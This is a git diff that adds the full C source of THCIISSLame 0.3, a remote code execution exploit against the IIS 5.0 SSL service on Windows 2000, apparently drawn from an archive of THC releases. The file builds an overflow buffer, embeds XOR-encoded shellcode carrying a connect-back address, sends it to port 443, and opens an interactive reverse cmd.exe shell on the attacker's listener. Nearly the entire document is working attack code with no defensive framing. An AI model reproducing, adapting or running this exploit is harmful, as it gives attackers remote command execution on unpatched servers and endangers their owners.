--- /dev/null
+/*****************************************************************************/
+/* THCIISSLame 0.3 - IIS 5 SSL remote root exploit */
+/* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */
+/* THC PUBLIC SOURCE MATERIALS */
+/* */
+/* Bug was found by Internet Security Systems */
+/* Reversing credits of the bug go to Halvar Flake */
+/* */
+/* compile with MS Visual C++ : cl THCIISSLame.c */
+/* */
+/* v0.3 - removed sleep[500]; and fixed the problem with zero ips/ports */
+/* v0.2 - This little update uses a connectback shell ! */
+/* v0.1 - First release with portbinding shell on 31337 */
+/* */
+/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
+/* scut, stealth, FtR and Random */
+/*****************************************************************************/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <winsock2.h>
+
+#pragma comment(lib, "ws2_32.lib")
+
+#define jumper "\xeb\x0f"
+#define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49\x49\x53\x21"
+
+char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";
+
+char shellcode[] =
+"\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"
+"\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
+"\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
+"\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
+"\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
+"\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
+"\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
+"\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
+"\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
+"\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
+"\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
+"\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
+"\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"
+"\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"
+"\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"
+"\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"
+"\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"
+"\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"
+"\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"
+"\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"
+"\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"
+"\x55\xe4";
+
+void usage();
+void shell(int sock);
+
+int main(int argc, char *argv[])
+{
+ unsigned int i,sock,sock2,sock3,addr,rc,len=16;
+ unsigned char *badbuf,*p;
+ unsigned long offset = 0x6741a1cd;
+ unsigned long XOR = 0xffffffff;
+ unsigned long XORIP = 0x93939393;
+ unsigned short XORPORT = 0x9393;
+
+ unsigned short cbport;
+ unsigned long cbip;
+
+ struct sockaddr_in mytcp;
+ struct hostent * hp;
+ WSADATA wsaData;
+
+ printf("\nTHCIISSLame v0.3 - IIS 5.0 SSL remote root exploit\n");
+ printf("tested on Windows 2000 Server german/english SP4\n");
+ printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
+
+ if(argc<4 || argc>4)
+ usage();
+
+ badbuf = malloc(352);
+ memset(badbuf,0,352);
+
+ printf("\n[*] building buffer\n");
+
+ p = badbuf;
+
+ memcpy(p,sslshit,sizeof(sslshit));
+
+ p+=sizeof(sslshit)-1;
+
+ strcat(p,jumper);
+
+ strcat(p,greetings_to_microsoft);
+
+ offset^=XOR;
+ strncat(p,(unsigned char *)&offset,4);
+
+ cbport = htons((unsigned short)atoi(argv[3]));
+ cbip = inet_addr(argv[2]);
+ cbport ^= XORPORT;
+ cbip ^= XORIP;
+ memcpy(&shellcode[2],&cbport,2);
+ memcpy(&shellcode[4],&cbip,4);
+
+ strcat(p,shellcode);
+
+ if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
+ {
+ printf("WSAStartup failed !\n");
+ exit(-1);
+ }
+
+ hp = gethostbyname(argv[1]);
+
+ if (!hp){
+ addr = inet_addr(argv[1]);
+ }
+ if ((!hp) && (addr == INADDR_NONE) )
+ {
+ printf("Unable to resolve %s\n",argv[1]);
+ exit(-1);
+ }
+
+ sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+ if (!sock)
+ {
+ printf("socket() error...\n");
+ exit(-1);
+ }
+
+ if (hp != NULL)
+ memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
+ else
+ mytcp.sin_addr.s_addr = addr;
+
+ if (hp)
+ mytcp.sin_family = hp->h_addrtype;
+ else
+ mytcp.sin_family = AF_INET;
+
+ mytcp.sin_port=htons(443);
+
+ printf("[*] connecting the target\n");
+
+ rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
+ if(rc==0)
+ {
+ send(sock,badbuf,351,0);
+ printf("[*] exploit send\n");
+
+ mytcp.sin_addr.s_addr = 0;
+ mytcp.sin_port=htons((unsigned short)atoi(argv[3]));
+
+ sock2=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+
+ rc=bind(sock2,(struct sockaddr *)&mytcp,16);
+ if(rc!=0)
+ {
+ printf("bind error() %d\n",WSAGetLastError());
+ exit(-1);
+ }
+
+ rc=listen(sock2,1);
+ if(rc!=0)
+ {
+ printf("listen error()\n");
+ exit(-1);
+ }
+
+ printf("[*] waiting for shell\n");
+ sock3 = accept(sock2, (struct sockaddr*)&mytcp,&len);
+ if(sock3)
+ {
+ printf("[*] Exploit successful ! Have fun !\n");
+ printf("[*] --------------------------------------------------------------------\n\n");
+ shell(sock3);
+ }
+ }
+ else
+ {
+ printf("\nCan't connect to ssl port 443!\n");
+ exit(-1);
+ }
+
+ shutdown(sock,1);
+ closesocket(sock);
+ shutdown(sock,2);
+ closesocket(sock2);
+ shutdown(sock,3);
+ closesocket(sock3);
+
+ free(badbuf);
+
+ exit(0);
+}
+
+void usage()
+{
+ unsigned int a;
+ printf("\nUsage: <victim-host> <connectback-ip> <connectback port>\n");
+ printf("Sample: THCIISSLame www.lameiss.com 31.33.7.23 31337\n\n");
+ exit(0);
+}
+
+void shell(int sock)
+{
+ int l;
+ char buf[1024];
+ struct timeval time;
+ unsigned long ul[2];
+
+ time.tv_sec = 1;
+ time.tv_usec = 0;
+
+ while (1)
+ {
+ ul[0] = 1;
+ ul[1] = sock;
+
+ l = select (0, (fd_set *)&ul, NULL, NULL, &time);
+ if(l == 1)
+ {
+ l = recv (sock, buf, sizeof (buf), 0);
+ if (l <= 0)
+ {
+ printf ("bye bye...\n");
+ return;
+ }
+ l = write (1, buf, l);
+ if (l <= 0)
+ {
+ printf ("bye bye...\n");
+ return;
+ }
+ }
+ else
+ {
+ l = read (0, buf, sizeof (buf));
+ if (l <= 0)
+ {
+ printf("bye bye...\n");
+ return;
+ }
+ l = send(sock, buf, l, 0);
+ if (l <= 0)
+ {
+ printf("bye bye...\n");
+ return;
+ }
+ }
+ }
+}
projects / oweals / thc-archive.git / blobdiff